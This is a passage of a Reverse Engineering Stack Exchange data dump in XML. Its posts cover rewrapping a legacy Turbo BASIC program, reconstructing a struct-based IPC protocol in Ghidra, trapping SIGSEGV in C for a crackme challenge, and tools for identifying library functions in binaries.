privately without NDA, you can reach a 90%+-as-good situation, especially if you can share images/videos of the program in action. The quote process will just require interested parties to ping you first, and will go somewhat slower as the initial analysis won't be asynchronous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what sort of rates you'd be looking at, as I have no experience in this field myself. Video and descriptions will likely get a good rough initial estimate.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I took a look at &lt;a href=&quot;https://en.wikipedia.org/wiki/PowerBASIC&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/PowerBASIC&lt;/a&gt;, which is what Turbo BASIC got turned into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately for you, one of this particular environment's headline features (back when it was still Turbo BASIC) was that it built native binaries that did not require a bundled runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This generally means you will have to go down the &quot;hard mode&quot; road of full assembly-language reverse engineering... but on the flip side of the coin, while there are eg a huge number of tools out there to eg reverse &quot;compiled&quot; Java or obfuscated JavaScript, by now (2019), any tools to reverse eg the QuickBASIC &quot;compiled program&quot; format (which used bytecode and a runtime interpreter) would probably have either fallen off the edge of the earth or be hiding behind a massive price tag. So that's kind of a nice thing, FWIW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly noting the program is written in Turbo BASIC when you look for RE assistance will be particularly useful. There are probably people out there very experienced with the peculiarities of the TB compiler.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am wondering whether it is possible to reverse engineer this program and put in into a &quot;modern&quot; jacket, + enable easy data instruction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. I can think of two different approaches. Both are complex, and it's hard to say which will work out easier without a good stare at the exact circumstances.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What might be described as the &quot;traditional&quot; RE approach would be to take the program to bits through techniques such as static (IDA Pro, Ghidra, radare2) and dynamic (CodeView, Turbo Debugger, SoftICE) analysis, and attempt to tease the math out from the rest of the program, where it can be straightforwardly reimplemented elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main risk here is whether the process doesn't catch important algorithmic details or edge case handling. This is the only bit I'm going to make bold: &lt;strong&gt;you can aid this process by providing tens to many hundreds of tests.&lt;/strong&gt; (Start thinking about this process now - say, 10 or so tests of each kind of specific case the program handles should be a good start.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the program is straightforward and the areas where calculation are done are easy to identify (impossible to say without poking the binary) this should mitigate the risk somewhat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A technique that fairly closely follows the literal translation of your notion of making a &quot;jacket&quot; would have you wrap the program in an emulator (such as DOSBox) that has been modified to &quot;export&quot; the state of the screen and accept synthesized keyboard input - and then add a translation layer on top that rapidly keys data in and scrapes the screen for the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main risk with this approach is the number of screens the program can show, and the complexity involved (is scrolling needed to grab all data? is the next action to perform unambiguously obvious based on what indications are presented on the screen?) in scraping the information.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] it would be a lot easier/faster to run the program on a list of components (extracted from our drawing software). (this is an extra)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What format is this list of components generated in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be anything from trivial to mildly complex. The cost to add this capability will be significantly less than the initial RE effort.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am very interested to hear how this project goes! If you take this question to other forums it would be very cool if you could put links out to the relevant threads. :)&lt;/p&gt;&#xA;" OwnerUserId="3831" LastEditorUserId="3831" LastEditDate="2019-07-01T14:42:28.897" LastActivityDate="2019-07-01T14:42:28.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21596" PostTypeId="1" CreationDate="2019-07-01T17:13:37.363" Score="1" ViewCount="298" Body="&lt;p&gt;I'm embarking on my first reverse-engineering adventure. I think I've picked a rather dense piece of steak to start out with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three C programs which communicate together using an unknown IPC protocol over TCP sockets.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A Linux armel binary that might be described as the &quot;target&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A Linux x86 binary that provides a &quot;shell&quot; or REPL that translates text commands on stdin to IPC I/O against the target. This is a tiny 50KB binary (probably because it was compiled with &lt;code&gt;-O3&lt;/code&gt; and then stripped ;D).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A second Linux armel binary that presents a frontend/UI to the target and incorporates additional IPC-related functionality not found in the REPL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My first goal is to understand the fundamentals of the IPC wire format by disassembling the shell/REPL control program. The smallness of the control program is encouraging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this done, I want to dive into the additional IPC-related functionality only available in the frontend program, which is somewhat bigger (and has noise in the form of UI code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a very hopeful starting environment: I've gotten the two armel programs running in QEMU (the target, easily enough; the control program, after much effort). The x86 binary trivially runs on my host computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also put together a shaky but functional hamster dance of scripts that route the traffic between the two armel programs (incidentally running in separate QEMU VMs, for operational simplicity!) in such a way that I can intercept the traffic at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so it is that I... take one look at the protocol and have no idea how to proceed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;21:37:21.839965  UI-&gt;target   08 00 00 00  01 00 00 01  00 00 00 00  03 00 00 00   .... .... .... ....&#xA;                 UI-&gt;target   01 00 00 00                                          .... &#xA;&#xA;21:37:21.892845  target-&gt;UI   04 00 00 00  01 00 00 01  00 00 00 00  3a 03 00 00   .... .... .... :...&#xA;&#xA;21:37:21.930144  UI-&gt;target   08 00 00 00  06 00 00 01  00 00 00 00  6c 70 70 61   .... .... .... lppa&#xA;                 UI-&gt;target   00 00 00 00                                          ....&#xA;&#xA;21:37:21.991124  target-&gt;UI   d0 02 00 00  06 00 00 01  00 00 00 00                .... .... ....&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I incidentally know what &quot;lppa&quot; means - but this small fragment was taken from a 4,000-line protocol dump that clearly shows that the other bytes change in important ways, but I don't have the experience to discern patterns or significance from the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I immediately twigged about was the suspicion that I was looking at C structs dumped straight onto a network. For what this program was and did, that makes a lot of sense (it's for all intents and purposes an internal IPC protocol that doesn't, well, need to be particularly resilient).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I fired up Ghidra, which I learned about a little while back. Finally, IDA Pro has some competition :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent some time ambling aimlessly around inside the decompiler, and fairly quickly found the following interesting function that does both &lt;code&gt;recv()&lt;/code&gt; and &lt;code&gt;send()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the way this function works is both really interesting and really confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've highlighted some lines below that refer to &lt;code&gt;buffer_length&lt;/code&gt; which are really messing with my head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I first saw the code around &lt;code&gt;buffer_length&lt;/code&gt; I happened to be looking at the second &lt;code&gt;send()&lt;/code&gt; call, so it felt natural to rename that variable to describe &quot;length&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I looked at the first &lt;code&gt;send()&lt;/code&gt; and found that &lt;code&gt;buf&lt;/code&gt; was being pointed to... yeah no that doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I now wonder if this &lt;strong&gt;might&lt;/strong&gt; actually a &lt;em&gt;union&lt;/em&gt;. YAY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(See below for the struct definition)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;uint maybe_perform_ipc(astruct *something_struct) {&#xA;&#xA;    char *buf;&#xA;    uint return_code;&#xA;    ssize_t bytecount;&#xA;    size_t message_length;&#xA;&#xA;    bytecount = 0;&#xA;    return_code = 0x30040000;&#xA;    something_struct-&gt;only_used_once_and_set_to_256 = 0x100;&#xA;    message_length = 12;&#xA;    &lt;b&gt;buf = (char *)&amp;something_struct-&gt;buffer_length;&lt;/b&gt;&#xA;&#xA;    while (&#xA;        message_length &gt; 0 &amp;&amp;&#xA;        (bytecount = send(something_struct-&gt;socket, buf, message_length, MSG_NOSIGNAL)) &gt; 0&#xA;    ) {&#xA;        message_length -= bytecount;&#xA;        buf += bytecount;&#xA;    }&#xA;&#xA;    if (bytecount &gt; -1) {&#xA;&#xA;        &lt;b&gt;if (something_struct-&gt;buffer_length != 0) {&lt;/b&gt;&#xA;            &lt;b&gt;message_length = something_struct-&gt;buffer_length;&lt;/b&gt;&#xA;            &lt;b&gt;buf = (char *)something_struct-&gt;buffer;&lt;/b&gt;&#xA;            while (&#xA;                message_length &gt; 0 &amp;&amp;&#xA;                (bytecount = send(something_struct-&gt;socket, buf, message_length, MSG_NOSIGNAL)) &gt; 0&#xA;            ) {&#xA;                message_length -= bytecount;&#xA;                buf += bytecount;&#xA;            }&#xA;            if (bytecount buf = (char *)&amp;something_struct-&gt;buffer_length;&#xA;&#xA;        while (&#xA;            message_length &gt; 0 &amp;&amp;&#xA;            (bytecount = recv(something_struct-&gt;socket, buf, message_length, 0)) &gt; 0&#xA;        ) {&#xA;            message_length -= bytecount;&#xA;            buf = buf + bytecount;&#xA;        }&#xA;&#xA;        if (bytecount &gt; -1 &amp;&amp; message_length maybe_status_code == 0) {&#xA;&#xA;                my_free_then_realloc((astruct_4 *)something_struct, something_struct-&gt;buffer_length);&#xA;&#xA;                if (something_struct-&gt;buffer_length != 0) {&#xA;&#xA;                    &lt;b&gt;message_length = something_struct-&gt;buffer_length;&lt;/b&gt;&#xA;                    &lt;b&gt;buf = (char *)something_struct-&gt;buffer;&lt;/b&gt;&#xA;&#xA;                    while (&#xA;                        message_length &gt; 0 &amp;&amp;&#xA;                        (bytecount = recv(something_struct-&gt;socket, buf, message_length, 0)) &gt; 0&#xA;                    ) {&#xA;                        message_length -= bytecount;&#xA;                        buf = buf + bytecount;&#xA;                    }&#xA;&#xA;                    if (bytecount maybe_status_code | 0x30060000;&#xA;&#xA;            }&#xA;&#xA;        }&#xA;&#xA;    }&#xA;    return return_code;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&#xA;offset  length  type           name&#xA;0x0     0x4      int           maybe_signature &#xA;0x4     0x1      undefined  &#xA;0x5     0x1      undefined  &#xA;0x6     0x1      undefined  &#xA;0x7     0x1      undefined  &#xA;0x8     0x1      undefined  &#xA;0x9     0x1      undefined  &#xA;0xa     0x1      undefined  &#xA;0xb     0x1      undefined  &#xA;0xc     0x4      int           socket &#xA;0x10    0x4      uint          buffer_length &#xA;0x14    0x2      undefined2    maybe_function_code &#xA;0x16    0x2      undefined2    only_used_once_and_set_to_256 &#xA;0x18    0x2      ushort        maybe_status_code &#xA;0x1a    0x1      undefined  &#xA;0x1b    0x1      undefined  &#xA;0x1c    0x4      uint  &#xA;0x20    0x4      void *        buffer &#xA;0x24    0x4      undefined4    maybe_pid &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldn't figure out how to make Ghidra export the above as a struct so I've just dumped it here as Ghidra presented it, since it's quite readable as it is (and I have no idea how I'd rewrite this as a C struct myself, actually :/).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;code&gt;buffer_length&lt;/code&gt;, if I understand how unions work properly, a function code and a status code (guess-identified from elsewhere) would be kind of exactly the kind of thing you'd want to dump out of a C struct into a network packet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ALSO&lt;/strong&gt;, if you go back and look at the code where it sets &lt;code&gt;message_length&lt;/code&gt; to 12, the range from &lt;code&gt;buffer_length&lt;/code&gt; extends down to the two &lt;code&gt;undefined&lt;/code&gt;s currently underneath &lt;code&gt;maybe_status_code&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I unfortunately don't know how to tell Ghidra &quot;go and find me where these two definitions are used!&quot; from the struct editor, and I don't know how to tell Ghidra &quot;search in decompiled code&quot; for &lt;code&gt;field_0x1a&lt;/code&gt; and &lt;code&gt;field_0x1b&lt;/code&gt;, so these two remain mysteries for now. (I also tried to turn the range into a sub-struct, but then it disappeared in the struct editor.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, &lt;strong&gt;my point, and my question is&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What direction should I head in so I can make progress with this dissection and get enough context to make sense of what I'm seeing?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Static analysis is proving really cool and interesting, but only because I can decompile to C. Ghidra doesn't provide debugger integration :'(, so I can't fire the shell program up and watch it tick away unless I want to stare at assembly in GDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which I'm not at all unwilling to do, I just find asm really disorientating. I must admit I've been trying to pick it up for about... wow, I think it's been 15 years now, heh. (All the tutorials I've yet found are either really regimented (to the point I can't piece the details together), assume I'm a vegetable (...8086? uhh....), or try and teach me to juggle by handling me 6 balls to start with.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very late so I'll leave this question here for now, and possibly add to it / clarify details a little later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One key point: the program I'm reverse engineering is proprietary but its status is &quot;quietly floating around on the internet if you know what rock to look under&quot;, so I could share more details privately (incidentally my email is in my bio).&lt;/p&gt;&#xA;" OwnerUserId="3831" LastActivityDate="2019-12-11T04:30:33.767" Title="Reconstructing struct/union-based IPC protocol wire format" Tags="|c|static-analysis|dynamic-analysis|protocol|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21597" PostTypeId="1" AcceptedAnswerId="21598" CreationDate="2019-07-01T17:13:58.987" Score="5" ViewCount="7460" Body="&lt;p&gt;I'm writing some crackmes.one challenge and I want to write a challenge where the solution appears on a segmentation fault. (And you have to disassemble the code to find a way to segfault. It should be fun, right?)&lt;/p&gt;&#xA;&lt;p&gt;I found some hard-to-understand theoretical answer here and there but I can't find a practical solution. Because most of the question are &amp;quot;how to recover from a sigsegv&amp;quot; and most of the answer are &amp;quot;you can't, make your code right so it doesn't segfault&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;What would be the most &amp;quot;trap-able&amp;quot; segfault? a call to a null function pointer? a double-free? ...?&lt;/p&gt;&#xA;&lt;p&gt;What can I do in my signal handler? It seems there are some harsh condition (reentrancy, async-signal-safe function, etc...).&lt;/p&gt;&#xA;&lt;p&gt;If someone can give me some safe pointer (pun intended) to some kind of documentation, blog, ... or an explanation a bit more useful than &amp;quot;just read the POSIX bible&amp;quot;. It would be greatly appreciated.&lt;/p&gt;&#xA;&lt;p&gt;My code doesn't need to be portable. If it works on a moderately standard Linux (Debian, Redhat, Ubuntu, CentOS) it will be fine.&lt;/p&gt;&#xA;" OwnerUserId="28896" LastEditorUserId="34679" LastEditDate="2020-10-16T08:19:42.200" LastActivityDate="2020-10-16T08:19:42.200" Title="Can I trap SIGSEGV (on a Linux) and what are are the conditions to make it works? (for a crackme)" Tags="|linux|crackme|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21598" PostTypeId="2" ParentId="21597" CreationDate="2019-07-01T17:28:47.760" Score="3" Body="&lt;p&gt;A solution working in Windows was given in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21367/debug-program-using-peculiar-anti-debugging-technique&quot;&gt;my question&lt;/a&gt; - this way, you can cause program to continue after it receives &lt;code&gt;SIGSEGV&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do similar thing on linux (though I would recommend using &lt;code&gt;sigaction&lt;/code&gt; instead of &lt;code&gt;signal&lt;/code&gt; which is deprecated (see &lt;a href=&quot;http://man7.org/linux/man-pages/man2/sigaction.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;)). That is, register signal handler for this signal and cause it whichever way you prefer to - execution will be passed to the handler, where you can continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example code is given below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;signal.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;void handler(int sig)&#xA;{&#xA;    write(1, &quot;success&quot;, strlen(&quot;success&quot;)); // printf is not recommended here, but should work as well&#xA;    exit(0);&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    struct sigaction sa;&#xA;    memset (&amp;amp;sa, '\0', sizeof(sa));&#xA;    sa.sa_sigaction = &amp;amp;handler;&#xA;    sa.sa_flags = SA_SIGINFO;&#xA;    sigaction(SIGSEGV, &amp;amp;sa, NULL); // register handler for SIGSEGV&#xA;    int *a; // a will contain some garbage value&#xA;    int b = *a; // trigger segmentation fault; transfer control to handler&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you can use the same trick as in my example on Windows and continue the execution outside &lt;code&gt;handler&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-01T17:59:04.917" LastActivityDate="2019-07-01T17:59:04.917" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21599" PostTypeId="2" ParentId="21597" CreationDate="2019-07-02T05:47:46.587" Score="2" Body="&lt;p&gt;An excellent reference (probably the best one) that can be consulted for this type of problem is &lt;a href=&quot;http://man7.org/tlpi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Linux Programming Interface&lt;/a&gt;, which includes 3 full chapters on the topic of signals:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Signals: Fundamental Concepts&lt;/li&gt;&#xA;&lt;li&gt;Signals: Signal Handlers&lt;/li&gt;&#xA;&lt;li&gt;Signals: Advanced features&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These chapters include example code as well as diagrams and clear explanations.&#xA;(A free pdf of the book can easily be found online.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://www2.cs.arizona.edu/~debray/Publications/obf-signal.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary Obfuscation Using Signals&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To your questions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What would be the most &quot;trap-able&quot; segfault ? a call to a null function pointer ? a double-free ? ... ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A signal handler, should it exist, will be called by the kernel on the basis of the signal (specifically, its number as defined in &lt;code&gt;&amp;lt;signal.h&amp;gt;&lt;/code&gt;), rather than the specific event that triggered the signal. This means that you are free to decide what kind of invalid memory reference to make in order to trigger a segmentation fault. Dereferencing a null pointer is probably the most reliable, since it guarantees program behavior will be deterministic, as a segmentation fault will always occur irrespective of stack contents or the layout of the process in memory.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What can i do in my signal handler ? It seems there are some harsh condition (reentrancy, async-signal-safe function,...).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You have several options. But first, a bit about non-reentrant library functions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Functions can also be &lt;em&gt;nonreentrant&lt;/em&gt; if they use static data structures for their&#xA;  internal bookkeeping. The most obvious examples of such functions are the members of the &lt;code&gt;stdio&lt;/code&gt; library (&lt;code&gt;printf()&lt;/code&gt;, &lt;code&gt;scanf()&lt;/code&gt;, and so on), which update internal data structures for buffered I/O. Thus, when using &lt;code&gt;printf()&lt;/code&gt; from within a signal handler, we may sometimes see strange output—or even a program crash or data corruption—if the handler interrupts the main program in the middle of executing a call to &lt;code&gt;printf()&lt;/code&gt; or another &lt;code&gt;stdio&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The important part is the last sentence. Implementing an exception handler for &lt;code&gt;SIGSEGV&lt;/code&gt; may result in unintended signal handler behavior if non-reentrant library functions are called within the exception handler, since it may be possible to trigger a segmentation fault outside of the specific conditions you anticipate. For example, when user input is read into a buffer via &lt;code&gt;scanf&lt;/code&gt;, unless bounds checking is properly implemented, a buffer overflow due to 1000 'A's being entered can result in &lt;code&gt;SIGSEGV&lt;/code&gt; being sent to the process, which will then trigger the exception handler during the execution of an &lt;code&gt;stdio&lt;/code&gt; function. If the signal handler also calls an &lt;code&gt;stdio&lt;/code&gt; function, undefined behavior may occur.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The most interesting approach for your case would probably be changing the &lt;code&gt;uc_mcontext.gregs[REG_RIP]&lt;/code&gt; (RIP here is the x86-64 instruction pointer) value in the signal handler's &lt;code&gt;context&lt;/code&gt; struct to point to a function somewhere else in the program. After the signal handler finishes, program execution would resume at that function. Alternatively, the &lt;code&gt;uc_mcontext.gregs[REG_RIP]&lt;/code&gt; value can incremented to skip/jump over the instructions that caused the signal handler to execute in the first place. This means that the signal handler could be designed to simply jump to a different location in the program upon  receiving &lt;code&gt;SIGSEGV&lt;/code&gt;. This approach, (or alternatively, executing a nonlocal goto), eliminates the need for any I/O to be performed by the signal handler (no need for &lt;code&gt;printf()&lt;/code&gt;, etc.). The drawback is that this approach is architecture-dependent. Examples illustrating this technique can be found in the following article: &lt;a href=&quot;https://devarea.com/linux-writing-fault-handlers/#.XRsCCnXwbVO&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux - Writing Fault Handlers&lt;/a&gt;. Some related example code can also be found here: &lt;a href=&quot;https://stackoverflow.com/questions/6768426/in-a-signal-handler-how-to-know-where-the-program-is-interrupted&quot;&gt;In a signal handler, how to know where the program is interrupted?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Note that since it is possible for a process to send a signal to itself, it is not necessary to choose &lt;code&gt;SIGSEGV&lt;/code&gt; as the handled signal; &lt;code&gt;getpid()&lt;/code&gt; and &lt;code&gt;kill()&lt;/code&gt; can be used to send some other signal to the process in order to trigger the signal handler. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Additionally, it is possible to execute a non-local goto from within the exception handler itself via functions &lt;code&gt;sigsetjmp()&lt;/code&gt; and &lt;code&gt;siglongjmp()&lt;/code&gt;. Unlike using &lt;code&gt;uc_mcontext.gregs[XXX]&lt;/code&gt; to modify the instruction pointer, this approach appears to be portable:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;In general, it is preferable to write simple signal handlers. One important reason for this is to reduce the risk of creating race conditions. Two common designs for signal handlers are the following:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;The signal handler sets a global flag and exits. The main program periodically&#xA;  checks this flag and, if it is set, takes appropriate action. (If the main program&#xA;  cannot perform such periodic checks because it needs to monitor one or more&#xA;  file descriptors to see if I/O is possible, then the signal handler can also write a single byte to a dedicated pipe whose read end is included among the file&#xA;  descriptors monitored by the main program. We show an example of this technique in Section 63.5.2.)&lt;/li&gt;&#xA;  &lt;li&gt;The signal handler performs some type of cleanup and then either terminates&#xA;  the process or uses a nonlocal goto (Section 21.2.1) to unwind the stack and&#xA;  return control to a predetermined location in the main program. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Executing a nonlocal goto] provides a way to recover after delivery of a signal caused by a hardware exception (e.g., a memory access error), and also allows us to catch a signal and return control to a particular point in a program. For example, upon receipt of a SIGINT signal (normally generated by typing Control-C), the shell performs a nonlocal goto to return control to its main input loop (and thus read a new command).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Supplementary info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q3j2S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q3j2S.png&quot; alt=&quot;Signal delivery and handler execution&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A signal is a notification to a process that an event has occurred. Signals are sometimes described as software interrupts. Signals are analogous to hardware interrupts in that they interrupt the normal flow of execution of a program; in most cases, it is not possible to predict exactly when a signal will arrive.&#xA;  One process can (if it has suitable permissions) send a signal to another process.&#xA;  In this use, signals can be employed as a synchronization technique, or even as a&#xA;  primitive form of interprocess communication (IPC). It is also possible for a process to send a signal to itself. However, the usual source of many signals sent to a process is the kernel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Reference: The Linux Programming Interface, chapters 20 and 21&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-07-04T15:33:10.880" LastActivityDate="2019-07-04T15:33:10.880" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21600" PostTypeId="2" ParentId="21589" CreationDate="2019-07-02T08:51:17.067" Score="2" Body="&lt;p&gt;As far as I know, there are 3 approaches that have been implemented to identify library functions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA FLIRT&lt;/a&gt; essentially uses byte patterns to create function signatures&lt;/li&gt;&#xA;&lt;li&gt;Ghidra's &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/FunctionID&quot; rel=&quot;nofollow noreferrer&quot;&gt;FunctionID&lt;/a&gt; feature takes mnemonic and operand type into account when hashing instructions to match functions to their well-known name&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this is according to &lt;a href=&quot;https://twitter.com/williballenthin/status/1144031730963140608&quot; rel=&quot;nofollow noreferrer&quot;&gt;Willi Ballenthin's analysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/FunctionID/src/main/java/ghidra/feature/fid/hash/MessageDigestFidHasher.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;hashing implementation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;JEB's disassembler creates &lt;a href=&quot;https://docs.google.com/presentation/d/17Vlv5JD8fGeeNMQqDuwDQXN3d9U6Yxmfb1aebfbMM98/view#slide=id.g597565ee72_1_16&quot; rel=&quot;nofollow noreferrer&quot;&gt;function signatures by hashing the assembly (not binary code) of the function with a custom hashing algorithm&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;An experimental approach based on machine learning techniques was explored by Google Project Zero's Thomas Dullien in his article &quot;&lt;a href=&quot;https://googleprojectzero.blogspot.com/2018/12/searching-statically-linked-vulnerable.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Searching statically-linked vulnerable library functions in executable code: &#xA;Helping researchers find 0ld days&lt;/a&gt;&quot;, in which he experimented with using similarity hashing combined with distance metrics in an attempt to identify functions across binaries generated by different compiler toolchains and compilation options. The article also mentions alternative approaches in published research, but besides &lt;a href=&quot;https://github.com/ANSSI-FR/polichombr/blob/dev/docs/MACHOC_HASH.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;MACHOC&lt;/a&gt; there is no public code or implementation available.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-07-03T05:28:11.840" LastActivityDate="2019-07-03T05:28:11.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
